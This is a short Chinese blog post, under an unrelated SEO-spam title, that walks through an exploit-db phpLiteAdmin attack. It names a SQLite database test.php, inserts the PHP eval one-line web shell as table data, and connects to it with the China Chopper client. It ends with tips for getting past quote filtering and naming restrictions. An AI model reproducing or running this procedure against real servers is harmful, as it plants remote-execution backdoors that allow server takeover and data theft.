邯郸信息港二手物品出售/徐州seo推广

漏洞来自：http://www.exploit-db.com/exploits/24044/本文仅仅是简单测试了一下，没有啥技术含量……
感觉这个还是用于提权获取webshell，因为需要登录phpLiteAdmin，还需要有创建数据库权限。
首先，登录：SqliteAdmin创建数据库test.php:

若在sqliteadmin没有test.php,则此时会在当前目录下生成test.php,如下图： 

可以在test.php为扩展名的数据库中新建表a,并插入一句话代码<?php @eval($_POST[cmd]);?>：

菜刀连接test.php:

测试完毕。注意：
1、上传的一句话中引号被过滤，一句话不要含单引号；
2、如果不能直接命名php扩展名的数据库，先新建一个sqlite数据库，后重命名为php。